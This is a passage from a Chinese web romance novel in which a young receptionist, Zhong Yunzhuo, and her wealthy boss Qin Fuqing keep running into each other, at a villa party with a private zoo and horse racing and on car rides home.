秦拂清自认从来未这么失态过。 他竟然冒着大雨冲出去留人,就因为那句跟他不熟,就跟人小姑娘较上劲了? 这么多年饭算是全白吃了。 季昌递过来一条干净的毛巾, 若是在往常, 他定会让他换件衣服, 那湿了的衬衫裹在身上可不好受。 可此刻有个姑娘在旁边,这话他张不开嘴。 季昌只能目视着前方,一句废话也不敢多说:“秦总,我们出发了。” “好。” 秦拂清只简单擦了擦脸和手,还有那块价值不菲的腕表, 然后把毛巾放在一旁。 空气顿时诡异地安静了下来。 而钟缊酌这边,看似淡定, 实则已经快吓死了。 她刚刚甚至荒唐地在想他会不会过去教训她一顿呢。 自己净想着争口气,都忘记对方是什么人物。从头到尾, 是一点儿薄面没给他留。 可秦拂清最后不仅没动手,甚至连一句重话也没说, 只留下这份漫长的沉默。 他心里到底怎么想的呢? 钟缊酌纠结了好一会儿, 最后决定主动开口缓解气氛:“秦先生,谢谢您送我回家, 我刚才是没想明白, 今天若不是运气好能搭上您的车, 身上指定要淋个透。” 秦拂清手指揉着太阳穴, 已经开始头疼, “以后还跑吗?” 钟缊酌端正坐好,露出个假笑,“不跑了。” 他睨过来一眼:“你这是什么时候给我换称呼了?” 被他这么一说, 钟缊酌才意识到,自己不知何时又喊回了秦先生。 但只是个叫法而已,有必要这么在意? 钟缊酌猜不透这些人的想法,只能老老实实纠正:“好的,那我改回秦总。” 在后面很长的一段时间里,秦拂清都很想问问她,那个不熟是什么意思。是不是在她心里,永远就只有宋黎若和涂敬舟是亲近的人,别人怎么都插不进去,但最后的尊严让他没问出口。 车子行驶到大院后,雨也渐渐小了,稀稀拉拉地往地上落。 钟缊酌挺了挺发酸的腰背。 这一趟她是一点儿没体会到豪车的舒适,浑身紧绷着,一动也不敢动。 她还指望秦拂清能睡一会儿,也不至于让气氛如此僵硬。结果他倒好,跟她一样亮堂堂地睁了一路的眼。 就在钟缊酌心里感叹终于快熬到家的时候,忽然想起来,她今天还约了吴少维来送东西。 上次看完演出后两人加了微信,因为要去古玩馆坐班,钟缊酌跟他定的是六点半,想着正好到家。 她赶紧打开手机一看,已经是六点二十五分。 希望他还没到,那样她就可以在楼下等他一会儿。 视线拐进楼里,钟缊酌看到前方空无一人,心里顿时松了口气。 这口气还没喘匀,她的电话就响了起来。 屏幕上显示的名字是吴少维。 钟缊酌立即接起,“喂,少维。” 对面的声音带着些歉意,“很抱歉缊酌,我可能要晚几分钟,麻烦你等我一会儿好吗。” “没关系的,我现在也没什么事,不用着急。” 挂掉电话后,车子也正好到了楼下。 钟缊酌跟两人告别后,正准备下车,被一道声音喊住:“你跟吴少维约了什么?” 钟缊酌回头看向秦拂清那张微沉的脸,顿了顿说:“他最近去了趟法国,说送点礼物过来。” “是给院儿里姑娘们都分了的。”她又补充一句。 钟缊酌不想把前因后果再整个重复一遍,害怕越解释越乱。 秦拂清默了片刻,点点头。 “走吧。”他冲季昌说。 季昌得到指令,启动发动机继续往前。 说来也巧,秦拂清住的位置就在这栋楼的隔壁,所以他来送钟小姐也算是顺路。 就在季昌即将拐进楼里的那一刻,迎面走来了杵着伞的吴少维。 “秦总,要打个招呼吗?”季昌踩了一脚刹车。 秦拂清透过玻璃窗看了眼那道雨中的身影,很年轻也很潇洒,他闭上眼睛说:“不用了。”- 对于与秦拂清之间的相处之道这件事,钟缊酌琢磨了一晚上,终于悟出点儿门路来。 她确实很不喜欢他那次开的玩笑,认为自己受到了侮辱。 可毕竟是那样处于高位之人,又是她的老板,不能把这份不喜欢常挂在脸上,摆出一副高冷难耐的模样,至少面子上要过得去。 所以以后和他保持恰当的距离就好,不过分冷漠让人下不来台,也不需要违背良心去迎合对方。 想通了这些,钟缊酌心里也总算畅快不少。 她翻开手机,想要约宋黎若一起出去逛街。 昨天下了一天的雨,今天的天气格外好。钟缊酌刚把电话拨过去,还没开口,那边就炸呼呼地喊起来:“缊酌,你下周末有没有时间?谈勉组局邀咱去静谷山庄玩儿两天。” 钟缊酌手里转着笔,“两天恐怕不行,我周六要去做兼职。” “哎呀我都忘了这茬,那怎么办,你能请假吗?” “不太好请,下周有客人预约,我就不去了,你们玩儿吧。” 宋黎若悻悻地说:“你不去,那我也不去。” “别这样啊” 钟缊酌劝半天也没用,宋黎若说本来她也没特别想去。 无奈之下,钟缊酌又问她想不想去逛街,两人对这件事倒是一拍即合。 钟缊酌平时一直省吃俭用,但今天看上了一套复古棕的针织套裙,价格过千,她看了很久,最后决定买下来。 她是真的很喜欢这套裙子。 记得小时候,父母每年夏天都会给她买好多裙子,中式的,宫廷的,蕾丝的,各种各样,穿都穿不完。 可自从家里落魄之后,她都没有再买过新的裙子。 那会儿父亲还会指着电视剧里的女主角说:“等闺女长大也要买这样的礼裙,穿上一定比明星还漂亮。” 钟缊酌拍着小手开心地笑:“那爸爸妈妈也要穿燕尾服和旗袍,我们一家人整整齐齐的去参加宴会。” 回忆翻涌上来,钟缊酌的眼眶有些发酸。 宋黎若看出好友心里的不对味,走过去搂住她的肩膀说:“就当补给自己的生日礼物了,你上个月生日都没好好过呢。” 钟缊酌这才露出笑脸,“嗯。” 当天晚上,钟缊酌吃过饭后准备去刷题,忽然接到一个陌生电话。 她以为是快递或者打广告的,随手接起,却听到一个略微耳熟的声音:“钟小姐,我是谈勉。” 钟缊酌怔了怔,他是怎么知道她号码的?不可能是问若若,不然没必要特意自己打来。难道是吴少维? 但此刻没时间思考这些,她客气回道:“你好,找我有什么事呀?” 谈勉罕见地没用那种吊儿郎当的口吻,挺温和正经的语气:“是这样,下周六我攒了个局,想邀你来参加,也不远,就在北郊区的静谷山庄。” 原来他是要说这件事。钟缊酌解释道:“嗯若若已经跟我说过,但我周六要去做兼职,所以——” 谈勉无情打断道:“什么兼职?不能请个假啊。” “这个,确实不太好请” 谈勉似乎打定主意要邀上她,直接拍着胸脯说:“把你老板电话给我,我替你请。” “” 就算他们认识,也总不能真的让他帮请。 钟缊酌叹口气,“我先试试吧,你等我消息。” 她其实能隐约猜测到,谈勉这么执着于邀请她,大概是为了让宋黎若也能去。 钟缊酌没有老板的手机号,就只能打给了冯盛。 “冯伯,我下周六能否请个假呀?对,家里确实有点事,麻烦您跟秦总说一声” 钟缊酌不确定秦拂清能否答应,毕竟这个馆里只有她一位接待员。 大约半小时后,冯盛给了她回话,说没问题,秦先生答应了。 钟缊酌惊讶竟然这么痛快。 那时候的她没想太多,高高兴兴地给谈勉回了消息,还顺便通知了宋黎若。 等一周后到达那座山庄后,才彻底感受到什么叫做当场社死。 静谷山庄坐落在北郊半山腰,山坡下有一块平地,种植着草坪绿植和花卉,前面主楼则是三栋中西合璧的别墅。早年间谈家在这里做投资时还是一片荒凉,后来才被改成了曲径通幽的庄园。 钟缊酌和宋黎若是下午三点到的,一进入那雕刻着云纹的廊柱,看到喷泉旁的石凳上坐着几个人。 其中一位的装扮很青春,天蓝色的牛仔外套搭配工装裤,手腕上系一条红绳,这会儿正逗着旁边的小姑娘。 另外两个男生虽然穿着简单,但气质出众。尤其坐在左边的那一位,剑眉星目,英气十足,只是身上那股疏离感在这种环境里显得有些格格不入。 这几个人,钟缊酌都没见过,除了那个眼睛水汪汪的小姑娘。 如果没记错的话,她应该就是谈勉的妹妹谈姝。 “你认识他们吗?” “不认识,应该不是咱院儿里的人。” 俩人正嘀咕着,谈姝目光移过来,立即兴奋地挥起手:“姐姐!这边!” 待人一走近,她低头从兜里掏出两张卡片,“这是你们的房间,我哥在里面忙,他特意让我在这里等着若若姐和缊酌姐姐。” 宋黎若伸手接过,“安排得这么细致,看来这次来的人不少哇。” “嗯,好几十号人呢。” 说话间,那个穿蓝色牛仔外套的男生也站了起来,非常社牛地主动打起招呼:“你们好啊,我叫江樾,长江的江,木字旁加一卓越的越。这两位是沈天祁和周浦。” “你们好。” 钟缊酌和宋黎若各自介绍了名字,后面那两个男生则冲这边点点头。 “怎么都聚在这儿啊。” 张桢抄着口袋走出来,脸颊微红,看上去像刚饮完酒,“去里面坐啊,看看勉哥养得鳄鱼。” 钟缊酌被他的话吓一跳,“还能养鳄鱼?” 张桢笑说:“他弄了饲养资格证,没事儿,你们怕不怕,不怕就去瞧瞧。” “真的,我们刚看完,特漂亮。”江樾咧着嘴说。 钟缊酌一听这人就是在胡说八道,再漂亮它也是鳄鱼啊! 她摆手道:“我不看了,我对皮肤疙疙瘩瘩的动物实在忍受不了,浑身起汗毛。” 宋黎若倒不怕这些,嚷嚷着要去看,张桢就带着她去往后园了。 钟缊酌独自来到富丽堂皇的主楼大厅,看到三三两两的人群坐在沙发上聊着天,有认识的姑娘立马过来问,想不想去屋里打桥牌,缺人手。 钟缊酌表示她不会打,又有人要拉她玩桌游。 钟缊酌勉强玩了几把,她技术一般,总担心拖累队友,最后借口口渴出去歇会儿,才终于跑了出来。 正喝水的功夫,她收到了宋黎若发来的信息:【快过来,这边不止有鳄鱼,好多动物,可有意思了!】 思来想去,与其在这里被迫社交,确实不如去看看小动物。 钟缊酌便顺着她发来的定位,来到了后园的那片养殖场。 “这是豚鼠吗?好可爱。” “这蛇咬不咬人啊?” “你伸进去试试不就知道了。” “你是不是找打——” 不用看,一听这声音,钟缊酌就已经猜出里面的人是谁。 可张桢刚刚不说谈勉在忙吗?她还以为他是忙着接待客人,怎么也跑到这里看动物来了? 钟缊酌站定在门外。 这栋屋子的台阶有点高,钟缊酌穿着新买的裙子,怕弄脏了,便小心提起了裙摆。 刚要准备往屋里走,又听到耳后传来一个陌生男声:“秦总,在这儿喂鱼呢。” “轰”地一下,脑袋里像是有什么东西炸开。 钟缊酌僵着身子,慢慢扭过头,就看到秦拂清正站在那边的池塘一侧,姿态闲散地往水里扔着鱼食。 方才她只顾着看路,没注意旁边还有个池塘,更没看见那儿还站着一个人。 所以这次的聚会也邀请了秦拂清? 钟缊酌觉得自己大概是傻掉了。 秦拂清在这个圈子一直就是很受敬重的,邀请他不是挺正常? “您去哪儿都要喂鱼,也不知这些锦鲤能不能认出您这尊大佛。”男人开着玩笑。 “认不认出无所谓,它们别饿着就行。” 秦拂清和那人简单聊了几句之后,目光便顺着钟缊酌看过去的方向攀上来,牢牢将她的视线锁住。 显然是注意到了女孩的身影。 钟缊酌咬着唇,知道不过去打招呼是不行了。 于是挪起步子,慢腾腾地走到他面前,喊了声:“秦总好。” 秦拂清没接话,挺淡定地拂了拂手中的鱼食,似笑非笑地反问一句:“今天不是家里有事儿?” 钟缊酌愣了愣,蓦地想起她跟冯伯说的请假理由 完了,被他发现她在说谎了。 作者有话说:评论区掉落红包~ 第16章 钟缊酌发誓, 她真的不是有意要说谎的。 因为总觉得说去聚会不是什么必要的事,这个请假理由不容易通过,所以才说家里有事。 还是一贯的学生式请假思维。 她笔直站好,细软的裙边被风吹起, 蹭得小腿直痒, 她用手抚平后解释道:“我是怕说来聚会您不同意, 就换了个理由只是没想到谈勉也邀请了您。” 秦拂清又好气又好笑地瞧着这姑娘,敢情这事儿还得怪他是吧? 他如果没来参加,钟小姐就不会被戳穿了。 秦拂清拿出无可奈何的口吻:“那你刚刚就该当作没看到我这个人,目不斜视地走进去不就成了?” 钟缊酌却道:“那不行,您是我老板, 起码的礼数还是要有的。” 因为是她的老板,所以会给予这份尊敬。 秦拂清忽然在想, 如果他们没有这层上下属关系,就和涂敬舟一样, 是在这大院里认识的,那她会怎么看待他?是会成为很好的朋友, 还是仅萍水相逢的陌路人。 他看着那张明媚而透着清醇的脸蛋儿, 喉结滚了滚,眼神扫上一圈后, 自觉移开, 问了句莫名其妙的话:“这个季节只穿裙子, 不冷吗?” 他是怎么突然把话题扯到这里来的。 钟缊酌睁大眼, 想到了直男这个词, 竟也能用到秦拂清身上。 “不冷啊,这是针织材质的裙子,很保暖的。” 但很快, 她又注意到他用了“只”这个字。 钟缊酌低下头,看到裙摆被风吹起,那光洁的小腿一览无余。 难道他的意思是,看到她没穿打底长裤,会觉得冷? 没等钟缊酌琢磨明白这件事,站在对面的男人已经反应过来,这话算是过于逾界了。 但凡这姑娘再敏感些,再世故些,给他去集团里恶意举报一个性骚扰,他都能被处罚写篇检讨。 秦拂清侧过身子绕过她,往前紧走两步,又回过头来说:“不去里面看看吗?” “啊?” 他怎么一会儿变一个话题啊。 钟缊酌被弄得脑袋转不过弯来,直到那道身影消失在门外,才跟着迈上台阶,“去、去。” 屋内堪称一个小型动物园展览。 钟缊酌在这里看到了各种鼠类,豚鼠,鼹鼠,无毛鼠,银狐仓鼠,土拨鼠。除此之外,还有鸵鸟,孔雀,蜥蜴,龙猫,雪貂,鹦鹉,相思鸟,翠鸟可谓天上飞的,地上跑的,应有尽有。 她看得眼花缭乱,蠢蠢欲动,却又不敢随意乱走。 只因进来之后,秦拂清一直漫步在她附近。 两人始终保持着不远不近的距离,钟缊酌莫名有一种,她不是来观赏动物,而是跟着领导来视察的错觉。 “缊酌,你看这只龙猫,好可爱,弄得我也想养一只了。”宋黎若一脸花痴状。 谈勉在旁边笑着打岔:“送你要不要?” 宋黎若:“真的?” “真的,但是有个条件。” “什么条件呀?”宋黎若眼里放出期待的光。 谈勉抱起双臂,在她耳边细语,“宋小姐来我家里打扫一周的房间,我就免费送你。” 话音刚落,肩上直接挨了一拳:“做你的春秋大梦!我自己去买,谁稀罕!” 钟缊酌在一旁低低地笑,被宋黎若吐槽不够义气,只知道看她笑话。 等谈勉走远了,她又问起她:“那你呢缊酌,你有没有想养的?” “我啊,我想养只雕,可惜这里没有。” “有啊。”她回头往身后一指,“雪貂,就在那边。” 钟缊酌又笑,“不是这个貂,是会飞的,可以站在肩膀上,特酷的那种。” 这下宋黎若终于弄懂了,也弯腰笑起来,“你怎么比我还离谱啊。” 两人闹得太久,也不见有人过来,钟缊酌下意识去寻找一个身影。 她看到他站在最里面角落的一个巨大玻璃缸面前。 这个缸看起来足有两米高,除了顶部,四周全部围了起来,可是又没有多少水,只能看到一些杂草石块和泥土。 钟缊酌好奇走过去,等离得近了,她隐约瞧见里面好像有东西在动。 它的颜色和石块混在了一起,看不真切,这会儿钟缊酌终于看清了,那是一条鳄鱼。 钟缊酌浑身的细胞立即绷紧起来,心脏提到了嗓子眼儿,下意识想要转身逃跑。 可秦拂清不知何时站在了她的身后,只听他缓缓启唇:“这应该是条凯门鳄。” 钟缊酌屏住呼吸,脚下没再动了。 她手指不停地扣着衣服上的花纹,连忙点头说:“是吧,我也不懂,第一次见。” 秦拂清的观察力是很敏锐的,他一眼看出她的不自在,轻声问:“你怕吗?” 钟缊酌很想说是啊我怕死了,但面对上位者那一点微妙的好胜心钻了出来,她假装镇定道:“还行。” 秦拂清扬了扬唇:“这种鳄鱼性情很温顺,你不主动挑衅它是不会攻击人的。” 此刻的钟缊酌在心里呐喊,谁在乎它会不会攻击人啊,光看那个疙疙瘩瘩的皮肤,那半米长的嘴巴就能让她浑身颤栗,双腿打软。 钟缊酌还在给自己鼓劲儿加油。 万万没想到谈公子养得这条鳄竟然如此有礼貌,见俩人站这么久,竟决定“大发慈悲”地来上一段表演了。 只见它甩起大尾巴,迅速转身,拿嘴巴对准玻璃缸,嗷一张嘴。 它没发出声音,钟缊酌却被吓得惨叫一声,直接向后倒了过去。 电光火石间,身后的秦拂清条件反射地伸出双手,将人牢牢撑住。 等钟缊酌反应过来时,她已经躺在了秦拂清的怀里。 两人以一种非常暧昧的姿势紧紧相贴,他的肩膀宽厚结实,胸膛散发着男性的荷尔蒙气息,这一切的一切如此不真实,让钟缊酌恍然掉进了一场梦境里。 直到看清秦拂清的脸,她终于醒了过来。 像是被什么烫到,钟缊酌猛地直起身,和男人拉开距离,乱着呼吸道歉:“对不起!我只顾着后退,忘记您还在后边!” 这话是全把责任揽到自己身上了。 秦拂清低眉看了她两眼,小姑娘脸颊已然红透,脸上全是一副慌乱失措的模样。 他抻了抻被压得褶皱的衬衫领子,公事公办地说:“哪里轮得到你道歉,要道歉也应该是谈勉,瞧瞧他做了什么?能把一条凯门鳄养得这么凶。” 说曹操曹操就到,另外两人听到那声惨叫后,也立即跑了过来。 谈勉看到这一幕,心想,今天若是换了任何一个人,他都定会大肆调侃一番,可这人偏偏是秦拂清。 因此热闹是没得看了,还要绞尽脑汁帮他圆场。 “秦总,这不能怪我,主要是您二位样貌太过出众,这鳄鱼也想凑过来多瞧两眼。是不是啊,阿凯。” 谈勉不是那种会捧着别人的性子,想不出更合适的措辞。说完之后,别说其他人,他自己胳膊上先起了一层鸡皮疙瘩。 “好了。”秦拂清抬腕看了眼手表,生怕他再说出什么惊世骇俗的话来,“时间不早了,回去歇着等吃晚饭吧。” “没问题,我这就去吩咐厨房那边。” 钟缊酌和宋黎若拉着胳膊,一路小跑跑回了别墅。 宋黎若跟着她来到房间,把门一反锁,实在憋不住了,问她和秦拂清到底有没有那么一点儿可能性。 “你不知道,楚希雅告诉我,秦拂清那时可是多少京大女生的人间妄想呢!” 钟缊酌笑着摇头:“真夸张。” 她依然是那句话,“上次不是说过了嘛,真的什么都没有。” 宋黎若一手捧着脸:“可是你俩也太多次这种小暧昧了吧。” 钟缊酌不想每次都要解释一遍,打算认真给她分析分析。 “你知道为什么你会有这种错觉吗?”她盘腿坐在沙发上,把头发扎起,“是因为名人效应。” “什么意思?” 钟缊酌喝了口水,开始慢慢梳理:“因为秦拂清是一个有名气的大人物,但凡跟他沾点儿花花草草,都会引起旁人的一番讨论,就像人们热衷于明星八卦一样。想象一下,假如今天扶我的是一个普通男生,你还会觉得我俩暧昧吗?是不是最多认为这个男生挺热心挺善良,感谢他扶了我一把。” 宋黎若听得脑瓜子疼,虽然她嘴上保持沉默,但不得不承认她被说服了。 就像她说的,如果换成是一个普通男生,她还真不会往那儿想。 “好吧,但是我还是觉得挺可惜。” “可惜什么?” “我觉得你和秦拂清很配啊。” 钟缊酌忍不住噗嗤一笑,不知道这位宋小姐怎么想的,“哪里配了啊,我和他才认识多久,年纪也差很多。” “这跟年纪,相识多久都没关系,就是磁场合,你懂吗?往那儿一站就觉得很搭。诶你这种感情小白,肯定是不懂了。” 钟缊酌无奈吐槽,“你自己的感情弄懂了吗?也好意思说我。” “我有什么好弄懂的,就是没遇上合适的而已。有句话叫单身一时爽,一直单身一直爽。” 两人没吵吵多久,肚子就开始叫了起来。 互相对视一眼,笑容又爬回脸上,宋黎若自觉拿起手机,“吃饭还要等一会儿,我先让谈勉弄些点心来吧。” 入夜的静谷山庄格外清幽,远方的山川轮廓在黑暗中若隐若现。吃饱喝足的人们在这一片世外桃源里尽情谈天,娱乐。 钟缊酌坐在别墅大厅的一角,在慢慢品尝一款低度数的葡萄酒。 她刚刚被宋黎若拉着去打了一会儿桥牌,她现学现卖,没赢过一局,最后被忍无可忍的队友无情地“轰”了出来。 钟缊酌喝到一半,远远地看到吴少维正往这边走。 她冲他招了招手。 “怎么一个人在这儿喝酒啊。” “嗯,玩累了休息一下。” “那我来陪你。” 吴少维说完真的去柜台倒了一杯酒,往她旁边一坐,大有不醉不归,保证奉陪到底的架势。 钟缊酌讪讪地握着杯子,总觉得挺不好意思的。她喝的是葡萄酒,人家拿的可是龙舌兰。 “还习惯吗?”吴少维突然问了一句。 “嗯?” “来参加这种活动,看你好像也不是特别喜欢热闹。” 钟缊酌惊讶于他的细心,也佩服他的直白,她确实不知该如何回答。 她指尖稍顿,把问题又抛了回去:“那你呢?你喜欢这种热闹吗?” 吴少维抿下一口酒,眉眼弯起:“你可把我问住了,我自己都没想过。” 他手心覆着杯子,声音平淡,“也许像我这样的人,喜不喜欢并不重要。需要喜欢时就必须喜欢,不需要喜欢的时候,喜欢又能怎样。” 他说了一段绕口令似的话,钟缊酌细细品味了片刻,大概也能猜出几分意思。 他们出身在这种家庭,做的很多事情或许都是情非得已。 大厅里响起了舒缓的音乐声,有人在拉小提琴。 钟缊酌看到对面的空地处冒出一对对男女,牵着手开始跳起了交际舞。 宋黎若不知何时跑了出来,正跟几个姐妹聊着天,谈勉走过去跟她说了几句话,她看到她们就开始起哄,宋黎若捂起耳朵,直接被谈勉拉进了舞池。 “会跳舞吗?” 吴少维将看得津津有味的钟缊酌拉回现实,她“嗯”了一声,“会一点。” 他停顿几秒,又问:“那有没有兴趣和我跳支舞?” 钟缊酌第一反应是抗拒的,她甚至想不通自己为什么这么抗拒。 吴少维是个很绅士的人,说的话也很温柔,她总不能毫无理由地甩给他一句“我不想跳”。 她开始绞尽脑汁想借口。 就在这个时候,她的目光穿过礼堂,再次对上了那个人的视线。 自从坐在这里,已经是第三次了。 也不知道是凑巧还是什么,钟缊酌每次一望向对面的角落,就会撞进秦拂清瞥过来的目光。 他的眼神深邃又迷离,看不真切,混合着嘈杂的人声和音乐声,仿佛存在于另一个时空。 他是喝醉了吗?她想。 钟缊酌的借口还没找到,却看到宋黎若突然从人群中冒出来,怒气冲冲地奔向她的方向。 这是怎么了? 钟缊酌已经懵了,她直接站起来,问宋黎若发生了什么事。 “我就是在这儿待着憋闷,想出去透透气,缊酌你要不要和我一起?” 钟缊酌正愁怎么推掉吴少维的邀约,巴不得跟她走,“好呀,我陪你。” 这时候谈勉也跑了过来,他罕见面上有些急躁,抓住宋黎若的胳膊,“话还没说完呢,你去哪儿?” 宋黎若立马挣脱开,“你别管我,跳你的舞去!” “你都走了,我跟谁跳?” “爱跟谁跟谁,反正本小姐不奉陪了!” 宋黎若不再搭理他,拽着钟缊酌就往外走。两人转身的刹那,钟缊酌小声在她耳边问:“到底怎么了呀?” 宋黎若咬着后槽牙,“杜洺也来了,气死我了,你说他是不是有病,他邀请杜洺干什么?” 这一下子钟缊酌算是全明白了。 她回头望了望,没看见杜洺的身影,只有吴少维和谈勉两人尴尬地站在那儿,她觉得好像有点对不住谈勉。 “下次别因为这种事生气了,谈勉还想跟你跳舞呢。” “我又没多想跟他跳。” “真的吗?我看你跳得挺开心的。” “胡扯” 两个臭皮匠谁也没得偿所愿,只能悻悻地回到舞池边的休息区。 谈勉顺势坐在了秦拂清的对面,将那副沉香手串摘下来,一颗一颗地扒拉着。 而吴少维则坐在了他的一旁,也闷着头不说话。 “这么大怨气啊。”秦拂清轻轻放下手中的酒杯,他刚刚打发了几位鼓足勇气来邀请他跳舞的姑娘。 谈勉鼻腔里发出一阵闷哼,“也不知道怎么了,突然就变了脸。” “肯定是你哪里得罪了人家,好好反思反思。” 谈勉手里的串盘了好几圈,没反思出来什么,却看到一个人揣着瓶酒走过来。 是杜洺。 他和他说起来也不算多熟,只是父辈间偶有来往,这次聚会也是考虑到都住在一个院儿里,叫来意思一下。 杜洺躬着身子,很客气地给三人斟酒。唯独到了秦拂清那里,他将手往杯口一盖,淡声说:“我不需要。” 杜洺嘴角僵了一瞬,但很快恢复如常。 他似乎看到了刚刚发生的一幕,就着话题聊了起来:“黎若妹妹跟那钟小姐关系还挺好,我看见她俩挽着胳膊走了。” 谈勉敷衍地应一声:“对啊,她俩一直是好朋友。” 杜洺顿了顿,像是挺纠结的样子,好半天才又开口:“可是这钟小姐,我听说过她以前的一些事,就是一名副其实的拜金女啊。” 作者有话说:评论区掉落红包~ 第17章 他的话音刚落, 三人同时望了过来。 只是这几人的眼睛并未像杜洺想象得那样,带着惊讶,好奇,而是以一种审视犯人的目光看向他。 这让他控制不住地吞了下口水。 杜洺换了个坐姿, 权当自己出现错觉了, 开始继续讲:“据说钟小姐念高中时, 当时有一个男生追求她,人长得帅,成绩又好,但她就是不同意,说什么影响学习。结果后来被爆料出来, 猜猜怎么着,原来是嫌弃人家穷!这男生是农村出身的, 送的礼物也都是便宜货,钟小姐看不上啊, 啧啧。” 杜洺的一番言论还是没有引起他想要的效果,对面三个男人同时沉默着, 表情平静, 却各怀心事。 最后还是吴少维先开了口:“这也正常,当时钟家家底雄厚, 就算缊酌同意, 她父母肯定也是不同意的。” “所以啊, 她现在更巴不得找个有钱男朋友呢, 好日子过惯了, 谁过得下苦日子。”杜洺摆出嫌弃的口吻,“要我说,她跟黎若交好怕不就是为了混进上层圈子, 方便认识有钱人。” 钟小姐到底是怎样一人,谈勉不了解,也不感兴趣,但他总算悟出了一件事。 刚刚若若和他发脾气,八成就是因为这个杜洺。 这小子应该不止一次背后说钟小姐坏话了,她肯定也知道,所以见他邀请他过来,心里不气才怪。 谈勉站起来,将手放到杜洺的肩上,稍用力压了压:“好了,一口气讲了这么多,是不是也该饿了?” 杜洺迎着那似笑非笑又带着些杀气的眼神,“啊”一声,又立即点头,“是,是。” “那我们吃夜宵去喽。” 两人一走,这片空间的气氛也和谐了下来。 吴少维烦躁地喝光了剩下的酒,扯了扯领带问对面的男人:“你怎么看?” 秦拂清依然一副波澜不惊的模样,仿佛所有的事情都与他无关。 “我能怎么看,我跟这些姑娘又不熟。” 他将杯子里的液体倒在垃圾桶里,站起身,撇下一句,“走了。” “干嘛去?”吴少维问。 “赏月。” 吴少维望着秦拂清逐渐消失的背影,发出一声长叹。 看来这场旁听会结束,被搅得心烦意乱的就只有他自己了- 昨晚回来得太晚,钟缊酌一直睡到九点钟才醒。 她人还在被子里,宋黎若就拍着外面的门大喊:“快起来!有好玩儿的东西!” “什么啊?”钟缊酌眯着眼睛,一边穿衣服一边去开门,“什么好玩儿的东西?” “下面有人赛马呢,咱去瞧瞧。” 宋黎若今天换了套牛仔背带裤,梳着丸子头,一脸的青春洋溢,“谈勉竟然还养了马,昨天也不说一声,真不够义气。” 十分钟的时间,钟缊酌完成了洗漱和着装整理,两人快速下了楼。 在别墅后面的一大片草坪上,位于西边的空地区被隔出了一圈小型赛马场。 客人们三三两两坐在旁边的休息区,钟缊酌看到有几人已经开始站在马厩里挑选顺眼的坐骑。 “你看那匹马,真漂亮!” 一匹银白色的马步伐优雅地被人牵着向前走,四肢修长,毛色在阳光下闪闪发亮,外形相当惹眼。 宋黎若一眼认出:“这是汗血宝马啊,不知道我有没有机会上去坐一坐。” “你跟谈勉说,他肯定会答应。” “但我不会骑马呀,手脚笨,小时候没学会。” “让谈勉带着你骑不就好了。” “才不要,丢死个人。” 钟缊酌以前没见过这么多形态各异的马,很快被吸引去注意力。 忽然之间,从人群中爆发出一阵欢呼,钟缊酌的视线也从马厩移向了赛马场。 只见一个身穿黑色冲锋衣的男人,正骑着一匹高壮的汉诺威马在场上狂奔。 这匹马有着棕色的毛发,背部强壮,肌肉发达,后躯高大,一看就是很难驾驭的类型。 但眼前的男人骑得却很稳,同行者全部被甩在了后面。 那身姿实在是英姿飒爽,惹得一群姑娘们欢呼叫好,就连钟缊酌也忍不住鼓起掌来。 钟缊酌有印象,这个人叫沈天祁,昨天刚到的时候在门口照过面。 “诶,他不是咱们和谈姝说话时,在石凳上坐着的那个男生嘛?” “嗯,没想到这么厉害。” “我当时觉得这人有点高冷,别人打招呼都会笑笑,就他特拽地往那一坐,面无表情地。” 两个姑娘是全然不知,她们正议论的时候,在那身后不远处的休息区,秦拂清就仰靠在躺椅上,面无表情地吐槽:“骑马有那么好看吗?” 旁边的傅沅宗哂笑一声:“你以前不也常骑,现在不爱骑了?还是说年纪大了骑不动了。” 他是一点儿也不打算给这发小留面子。 秦拂清当即把手里还未点燃的烟甩到他身上,里面的碳质燃料撒了出来,在衬衫上面留下一道灰痕。 他盯了一眼马背上的身影说:“有辱斯文的事儿我不干。” 傅沅宗拍了拍身上的碳渣,也不嫌弃,拿起那根烟直接抽了起来,“你现在的举动不也挺有辱斯文。” 这场聚会一直持续到周末中午,吃完饭后,众人各自打道回府。 钟缊酌收拾完行李,在门口等了半天,也不见宋黎若的身影。 也不知过了多久,可算接到宋黎若的电话。她既兴奋又抱歉地说,她恐怕要晚点儿回去,谈勉教她骑马,正玩儿得欢忘记时间了。 “不然你跟孟彤她们走吧,反正也顺路。” “嗯,你好好玩儿吧,我是绝对不会在背后跟人讲宋小姐重色轻友的。” 对面传来一阵哼唧声,钟缊酌果断挂了电话,她可受不了宋黎若在电话里跟她撒娇。 钟缊酌其实也不好意思去主动搭别人的车,她决定自己打个车回去。 就在这个时候,几辆造型极其夸张的跑车从山庄前院缓缓驶出,看来是大部队要撤离。 钟缊酌视线从一辆蓝色帕加尼身上收回,打开打车软件,却听见一道温和的声音在耳侧响起:“钟小姐,怎么在这儿站着?” 钟缊酌循声望去,看到那辆熟悉的宾利,对季昌解释说,朋友还不打算离开,她正要自己打车。 季昌点下头,心里也在纠结,不知道要不要自作这个主张。 但根据他的观察,秦拂清确实是挺在意这姑娘的。 男人在后排闭目养神,他试探着问了一句:“秦总,咱们要不要接上钟小姐?” 这次秦拂清没有立即回应,默了好一会儿,才道:“你愿意当这个好人就当,别什么都来烦我。” 这话说得不中听,但显然是应许了。 季昌又冲那个低头看屏幕的女孩说:“钟小姐,跟我们一起走吧,这个地方不好打车。” 若是在往常,钟缊酌定会推辞一番,但她瞧着软件中那漫长的等待时间,决心放弃挣扎。 “那麻烦您。”她拉开车门,抚了下裙摆,小心坐上去。 钟缊酌看到秦拂清眼睛阖着,不知是醒着还是睡了,她犹豫要不要打个招呼。 “秦总?” 秦拂清没回话。 那应该是已经睡了吧。 钟缊酌安心坐好,看着窗外倒退的风景,思绪游离片刻,又开始刷起朋友圈。 宋黎若发了一组九宫格,全是她在马背上的飒爽身姿,只偶尔在边边角角能看到谈勉的影子。 看起来练习得效果不错,可以自己骑了。 钟缊酌弯起眼,给她点了个赞。 她的注意力全部放在了手机上,完全不知秦拂清已经醒了过来,正拿起扶手桌板上的文件开始翻阅。 钟缊酌赶忙放下手机,挺直腰背,冲他打了声招呼:“秦总好。” 秦拂清只微微颔首,连看都没看她一眼,继续翻着手中的材料。 看来他很忙,应该也是抽时间来参加这种聚会的。 钟缊酌好奇用余光打量几眼,瞥见一行字:关于芯片行业发展的新政策。 想必是单位最近在关注这个行业的一些动态,钟缊酌不是很懂这些,低下头来接着玩儿自己的手机。 这一路很平静,车子拐出山区,缓缓驶入市中心,快要到东四街时,秦拂清忽然开口:“想不想和我做个交易?” 